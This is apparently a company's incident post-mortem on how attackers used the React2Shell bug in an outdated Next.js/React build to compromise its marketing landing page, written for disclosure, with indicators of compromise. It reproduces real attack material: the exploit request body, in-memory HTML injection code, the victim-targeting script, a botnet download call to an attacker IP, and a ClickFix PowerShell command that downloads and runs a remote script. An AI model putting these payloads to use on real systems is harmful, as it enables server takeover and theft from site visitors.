← All posts

How an Outdated Next.js and React Got the Sensii Landing Page Hacked

Daniel, Sensii7 min read
securityincidentnext.jsreactreact2shellclickfix

The Sensii landing page is the marketing site that describes Sensii and links to the download. In early October 2026 we found it had been compromised. The Sensii app, its backend and your account data run separately and were not affected.

This post covers why it happened, how the attack worked, what it did, what visitors saw, and how we fixed it. It also names the attacker's domains, IP and infrastructure so others can block them.

1. The landing page was running old versions of Next.js and React

The landing page is built with Next.js, the Node.js framework, and React. It was pinned to:

"next": "16.0.0",
"react": "19.2.0",
"react-dom": "19.2.0"

These versions shipped in October 2025. On 3 December 2025, the React and Next.js teams disclosed CVE-2025-55182 (tracked by Next.js as CVE-2025-66478), nicknamed "React2Shell". It's rated CVSS 10.0, the maximum. It was patched the same day in Next.js 16.0.7 and React 19.2.1, with follow-up fixes in Next.js 16.0.10 and React 19.2.3 on 11 December.

We never upgraded. The landing page kept running the vulnerable versions for months after the fix was public.

2. It got hacked

React2Shell is easy to exploit and has been scanned for across the entire internet since December 2025. Our landing page was found and exploited by several automated attack tools. We saw requests from at least three different exploit kits, identifiable by their multipart boundaries:

After one redeploy, the landing page was exploited again in under an hour.

3. How it was hacked

React Server Components use a protocol called "Flight" to send data between browser and server. In the vulnerable versions, the server deserializes a Flight request body without enough checks. A crafted body can walk JavaScript's prototype chain during deserialization and reach the Function constructor, which turns a string into runnable code.

This is the exploit body we recovered from the server's memory:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<attacker's JavaScript>",
    "_chunks": "$Q2",
    "_formData": { "get": "$1:constructor:constructor" }
  }
}

"$1:constructor:constructor" resolves to Function, and whatever is in _prefix runs inside the Node.js server process. No login, password or key is needed: one HTTP POST to any page is enough. The attacker reads the result back from the digest field of the error Next.js returns.

4. What the hack did

The attackers ran two separate payloads.

4a. Injected a malicious script into every page, in memory only

The first payload rewired Node.js's built-in http module inside the running server, so every HTML page it sent out carried one extra line before </head>:

<script src=https://www.googletagmanager.com/gtm.js?id=GTM-PJB7D937></script>

That's a Google Tag Manager container owned by the attacker. Here's the injection code, recovered from memory and reformatted:

var h = process.mainModule.require('http');
var r = h.ServerResponse.prototype;

// base64 of: <script src=https://www.googletagmanager.com/gtm.js?id=GTM-PJB7D937></script>
r._p = Buffer.from('PHNjcmlwdCBzcmM9aHR0cHM6Ly93d3cuZ29vZ2xldGFnbWFuYWdlci5jb20vZ3RtLmpzP2lkPUdUTS1QSkI3RDkzNz48L3NjcmlwdD4=', 'base64').toString();

// For browser page loads, drop compression so the HTML can be rewritten
h.Server.prototype.emit = function (ev, rq) {
  if (ev === 'request' && (rq.headers.accept || '').startsWith('text/html'))
    delete rq.headers['accept-encoding'];
  return originalEmit.apply(this, arguments);
};

// Fix up Content-Length, then insert the tag before </head> in write() and end()
r.writeHead = function () { /* content-length += tag length */ };
r.write = r.end = function (chunk) { /* chunk.replace(/(<\/head>)/i, r._p + '$1') */ };

// Report success to the attacker
throw Object.assign(new Error('x'), { digest: Buffer.from('ok:patched').toString('base64') });

The design kept it hidden:

4b. Hid the next stage's address on the Polygon blockchain

The Tag Manager script doesn't contain the malware's address. It reads the address from a smart contract on the Polygon blockchain, a technique called EtherHiding:

var contract = "0xfF9E792a3015A79340CDEc1847Ab0AA10560422a";
var selector = "6d4ce63c";                          // get()
var key      = "52147c4027c0d0d1e02cce15a97c62f7";
var rpcs = [ "https://polygon-public.nodies.app", "https://1rpc.io/matic",
             "https://polygon.gateway.tenderly.co", "https://polygon-mainnet.public.blastapi.io",
             "https://polygon.drpc.org", "https://rpc.ankr.com/polygon",
             "https://polygon-bor-rpc.publicnode.com", "https://rpc-mainnet.matic.quiknode.pro" ];

The contract returns an encrypted string (S1fBMd/bNO31SGhjdCZ9iLluQxeVCqVMenRRW1). It decrypts, using the contract address, selector and key above, to:

https://interseq.at

This lets the attacker switch domains with one blockchain transaction, and nobody can take the record down. It only reads public blockchain data. It does not touch any wallet in the visitor's browser.

4c. Chose who to target

document.body.addEventListener("click", function () {
  if (c2
      && !/sel|ru|bru|ua|udf/.test(navigator.languages.join())   // skip Russian/Ukrainian/CIS locales
      && !localStorage.getItem("0x3464dec6de")) {                // only once per browser
    localStorage.setItem("0x3464dec6de", "true");
    load(c2 + "/Hastl/api?_v=" + Math.floor(Date.now() / 60000));
  }
});

It waited for the visitor's first click, skipped Russian, Ukrainian and related browser languages, and ran once per browser. That's why only some new visitors ever saw anything.

4d. Turned the server into a bot that attacks other sites

A second attacker used the same bug to download and run a Linux botnet client:

http.get('http://45.63.55.99:10001/download?os=alpine&arch=amd64', ...)
// saved as /tmp/safenet-client, then started in the background with
// SAFENET_HOST=<victim> and SAFENET_AUTH=<bot token>
NameSafeNetv2 (safenet-client)
Command serverhttp://45.63.55.99:10001 (/download, /register)
Files/tmp/safenet-client, /tmp/.safenet-client.pid, /tmp/safenet-spool.jsonl
SHA-25645c062268021a899056177d8d974b2551907e305aba0308b7d4024cdc1b0ea42
BuildGo, static ELF x86-64, built from C:/Users/Joshua/Documents/safenet/src/SafeNetv2/client/

Its modules scan for and attack other websites: unpatched Next.js sites (that's how it spreads), WordPress, Joomla, Spring/Tomcat, JFrog Artifactory and Dify. While it ran, our landing server had about 30 open connections to unrelated sites at once.

5. What visitors saw

On their first click, a visitor saw a full-screen "verify you are human" check, loaded from https://interseq.at/Hastl/api. It told them to:

  1. Press Windows + R
  2. Press Ctrl + V
  3. Press Enter

The page had already copied this to the clipboard:

iex(irm 'https://cleanavcheskre.com/h/e3ef035961b76bc1' -UserAgent 'WUA/751e7238ec' -Headers @{'X-WUA'='751e7238ec'})

irm downloads a script from cleanavcheskre.com and iex runs it immediately. Because the user runs the command, browser download protection and Windows SmartScreen never get a chance to warn. After a countdown the fake check disappeared and the normal page came back.

This scam is called ClickFix. The download link in the command is single-use and had expired by the time we checked it, so we couldn't get the final file. Campaigns built this way usually install password and crypto-wallet stealers.

If you only saw the box and didn't run the command, nothing happened to your PC. If you did run it:

6. How we fixed it

We updated the landing page to the latest releases:

"next": "16.3.8",
"react": "19.3.0",
"react-dom": "19.3.0"

These are well past the patched versions, so the React2Shell bug no longer exists on the landing page. We then rebuilt and redeployed it from scratch, which removed the in-memory injection and the botnet client. We also confirmed the attacker's Tag Manager script is no longer served.

If you run a Next.js App Router site, check your version now:

npm ls next react react-dom

Anything below Next.js 16.0.10 / React 19.2.3 (or the patched release for your 15.x line) is exploitable today.

Indicators of compromise

IndicatorType
GTM-PJB7D937 (www.googletagmanager.com/gtm.js?id=GTM-PJB7D937)Injected Google Tag Manager container
0xfF9E792a3015A79340CDEc1847Ab0AA10560422aPolygon contract holding the C2 address
interseq.atFake CAPTCHA host (/Hastl/api)
cleanavcheskre.comPowerShell payload host (/h/<token>, WUA/… user agent, X-WUA header)
45.63.55.99:10001SafeNetv2 botnet command server
45c062268021a899056177d8d974b2551907e305aba0308b7d4024cdc1b0ea42SHA-256 of safenet-client
/tmp/safenet-client, /tmp/.safenet-client.pidBotnet files on the server
digest: 'b2s6cGF0Y2hlZA==' / 'b2s6dXBkYXRlZA=='Next.js log line: injection installed / re-installed
localStorage["0x3464dec6de"]Browser marker set on visitors who were targeted